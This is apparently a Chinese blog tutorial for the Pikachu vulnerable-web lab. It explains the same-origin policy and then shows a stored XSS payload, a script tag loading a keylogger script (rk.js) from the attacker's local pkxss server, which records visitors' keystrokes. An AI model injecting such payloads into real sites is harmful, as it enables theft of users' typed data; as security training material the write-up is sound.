pikachu之xss获取键盘记录

news2025/1/16 15:55:59

前备知识

跨域

跨域(Cross-Origin)是指在互联网中,浏览器为了保护用户信息安全而实施的一种安全策略——同源策略(Same-Origin Policy),即浏览器禁止一个域上的文档或者脚本(如通过JavaScript发起的HTTP请求)与另一个域上的资源进行交互,除非明确授权。

具体来说,如果两个网页的协议(HTTP/HTTPS)、域名、端口号完全一致,就被认为是同源。若从一个源(例如,域A)加载的网页中的脚本尝试访问或操作另一个不同源(例如,域B)的资源,这种行为就会被浏览器阻止,从而出现“跨域”问题。

跨域的主要目的是防止恶意网站通过嵌入的脚本获取并利用另一个网站的内容,比如用户的敏感信息,以避免诸如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等安全风险。

解决跨域问题的方法有多种,包括但不限于:

  • CORS(Cross-Origin Resource Sharing,跨源资源共享):服务器通过响应头允许特定源进行跨域访问。
  • JSONP(JSON with Padding):通过动态创建<script>标签绕过同源策略,适用于GET请求。
  • WebSocket可以通过指定协议握手实现跨域通信。
  • 服务端代理:将请求转发到其他服务器,返回结果给客户端,让客户端看起来像是在和服务端同源通信。
  • window.postMessage API:在不同窗口间进行跨域通信。
  • WebRTC等现代Web技术也有相应的跨域机制。

通过存储xss漏洞,注入xss代码,进而获得用户的键盘记录

环境准备

1.安装好pikachu及其的后台

2.文件处理

        1.rk.js     在pikachu\pkxss\rkeypress目录下

注:上述网址一定要与本机部署的pikachu的网址一致才行,此网址也为攻击者的文件网址

此处我的pikachu网址直接为localhost,即127.0.0.1

本质该网址就为http://+'pikachu网址'+/pkxss/rkeypress/rkserver.php

实战

先上payload:

<script  src=" http://127.0.0.1/pkxss/rkeypress/rk.js">  </script> 

 注意:payload对应的网址也应与rs.js文件中的网址一致

查看控制台,如果有除了以下的显示内容,可能就是上述网址填错了,请认真修改!

此时,我们已经将rk.js文件上传到了被攻击者网站中,当有人访问该网页,并留言,我们就可以在xss后台看到该人的键盘记录,如下演示

去往pikachu后台,即可查看到

总结

此处xss漏洞主要利用src属性的跨站访问,使得被攻击者可以通过src属性自动跳转到攻击者的xss平台,祝各位学习顺利!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1476083.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

单片机复位按键电路、唤醒按键电路

目录 单片机复位按键 外部手动复位 单片机复位按键电路 复位按键电路1 复位按键电路2 单片机唤醒按键 单片机唤醒按键电路 单片机复位按键 单片机复位&#xff1a;简单来说&#xff0c;复位引脚就是有复位信号&#xff0c;就是从头开始执行程序 本质&#xff1a;就是靠…

Linux内核适配 (一)

我们的产品包含多个内核驱动模块,随着Linux内核的不断演进,既有的驱动代码可能因为使用了一些被新版本内核所废弃的函数或者数据结构,导致不能编译通过,或者运行时出错。这时,我们就需要修改我们的驱动代码,以便其能在新版本的内核上正常工作,这个过程通常被称为「适配」…

【机器学习】线性回归模型(Linear Regression)

&#x1f338;博主主页&#xff1a;釉色清风&#x1f338;文章专栏&#xff1a;机器学习&#x1f338;今日语录:温柔的一半是知识&#xff0c;没有知识的涵养撑不起你想要的风骨。 ☘️0文章预览 本系列文章主要是根据吴恩达老师的机器学习课程以及自己的理解整合而成&#xf…

【GO开发工程师】grpc进阶#golang

【GO开发工程师】grpc进阶#golang 推荐个人主页&#xff1a;席万里的个人空间 文章目录 【GO开发工程师】grpc进阶#golang1、protobuf2、grpc2.1、gRPC 的 Metadata机制2.2、grpc拦截器 1、protobuf syntax "proto3"; // 指定使用的 protobuf 版本为 proto3 import…

react-JSX基本使用

1.目标 能够知道什么是JSX 能够使用JSX创建React元素 能够在JSX中使用JS表达式 能够使用JSX的条件渲染和列表渲染 能够给JSX添加样式 2.目录 JSX的基本使用 JSX中使用JS表达式 JSX的条件渲染 JSX的列表渲染 JSX的样式处理 3.JSX的基本使用 3.1 createElement()的问题 A. …

基于Springboot的计算机知识竞赛网站(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的计算机知识竞赛网站&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结…

Python学习 day05(异常、模块导入、包)

异常 为什么要捕获异常 当程序遇到了BUG&#xff0c;如果不对BUG进行手动捕获&#xff0c;那么整个程序就会因为一个BUG而停止运行&#xff0c;这在有些情况下是会造成很大的损失&#xff0c;但是如果我们进行了手动捕获&#xff0c;那么整个程序会继续运行捕获异常的作用在于&…

ubantu与windows文件传输(filezilla)

ubantu与windows文件传输&#xff08;filezilla&#xff09; windowsubantu20.04Fliezilla windows 到官网下载filezilla&#xff1a;https://www.filezilla.cn/&#xff0c;并安装。 ubantu20.04 1、安装vim sudo apt-get install vim2、安装FTP服务 sudo apt-get instal…

【机器人最短路径规划问题(栅格地图)】基于遗传算法求解

基于遗传算法求解机器人最短路径规划问题&#xff08;栅格地图&#xff09;的仿真结果 仿真结果&#xff1a; 路径长度的变化曲线&#xff1a; 遗传算法优化后的机器人避障路径&#xff1a;

Python入门学习:if语句与条件控制--and、or、in、not in详解与实践

Python入门学习&#xff1a;if语句与条件控制–and、or、in、not in详解与实践 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1…

[AIGC] JDK17中的Record类介绍

文章目录 什么是Record类Record类的特点Record类实践 我们都知道&#xff0c;从Java 14开始, JEP 359 推出了一个新的类型声明Record&#xff0c;Record 类型用来模拟不可变的数据结构&#xff0c;它能产生一个类包含一定数量的只读字段。 什么是Record类 在JDK14中引入了一…

jetson nano——编译安装PySide2

目录 1.打开我提供的文件or官网自己下载&#xff08;需对应PyQt5的版本&#xff09;2.解压文件3.进入目录4.安装clang5. 编译安装6.报错: error: ‘NPY_ARRAY_UPDATEIFCOPY’ was not declared in this scope7.又报错&#xff1a;error: ‘NPY_ARRAY_UPDATEIFCOPY’ was not de…

Yapi部署

【GO开发工程师】Yapi部署 推荐个人主页&#xff1a;席万里的个人空间 文章目录 【GO开发工程师】Yapi部署1、Yapi部署 1、Yapi部署 初始化yapi&#xff1a; git clone https://github.com/Ryan-Miao/docker-yapi.git cd docker-yapi docker-compose upyapi启动失败 1.cd进入…

MySQL里的两个“二次”

文章中所有图片均来自网络 一、double write 第一个二次是mysql一个崩溃恢复很重要的特性-重复写入。 doublewrite缓冲区是位于系统表空间中的存储区域&#xff0c;在该区域中&#xff0c;InnoDB会在将页面写入数据文件中的适当位置之前&#xff0c;从InnoDB缓冲池中刷新这些页…

海量物理刚体 高性能物理引擎Unity Physics和Havok Physics的简单性能对比

之前的博客中我们为了绕过ECS架构&#xff0c;相当于单独用Batch Renderer Group实现了一个精简版的Entities Graphics&#xff0c;又使用Jobs版RVO2实现了10w人同屏避障移动。 万人同屏对抗割草 性能测试 PC 手机端 性能表现 弹幕游戏 海量单位同屏渲染 锁敌 避障 非ECS 那么有…

dolphinscheduler海豚调度(三)SQL任务

在之前的博文中&#xff0c;我们已经介绍了DolphinScheduler海豚调度的基本概念和模块&#xff0c;安装部署和元数据切换&#xff0c;以及Shell任务的实践。今天&#xff0c;让我们来深入探讨DolphinScheduler中另一种常见的任务类型&#xff1a;SQL任务。 SQL任务是DolphinSc…

嵌入式学习 Day 26

数组指针和指针数组 &#xff08;题外话&#xff09; 数组指针&#xff1a;数组指针是一种指针&#xff0c;它指向一个数组的首地址。在C语言中&#xff0c;数组名本身就是一个指向数组首地址的指针&#xff0c;因此数组名可以被赋值给指针变量&#xff0c…

07 Qt自绘组件:图片预览小组件ImageViewer

系列文章目录 01 Qt自定义风格控件的基本原则-CSDN博客 02 从QLabel聊起&#xff1a;自定义控件扩展-图片控件-CSDN博客 03 从QLabel聊起&#xff1a;自定义控件扩展-文本控件-CSDN博客 04 自定义Button组件&#xff1a;令人抓狂的QToolButton文本图标居中问题-CSDN博客 0…

使用Jenkins部署前端Vue项目和后端Java服务

Jenkins安装相关插件&#xff0c;供后续使用&#xff08;Dashboard - Manage Jenkins - Plugins&#xff09; Maven Integration plugin https://plugins.jenkins.io/maven-plugin CloudBees Docker Build and Publish pluginhttps://plugins.jenkins.io/docker-build-publish…

Unity中的UI系统之GUI

目录 概述工作原理和主要作用基础控件重要参数及文本和按钮多选框和单选框输入框和拖动条图片绘制和框 复合控件工具栏和选择网络滚动视图和分组窗口 自定义整体样式自定义皮肤样式 概述 什么是UI系统 UI是User Interface&#xff08;用户界面&#xff09;的简称&#xff0c;用…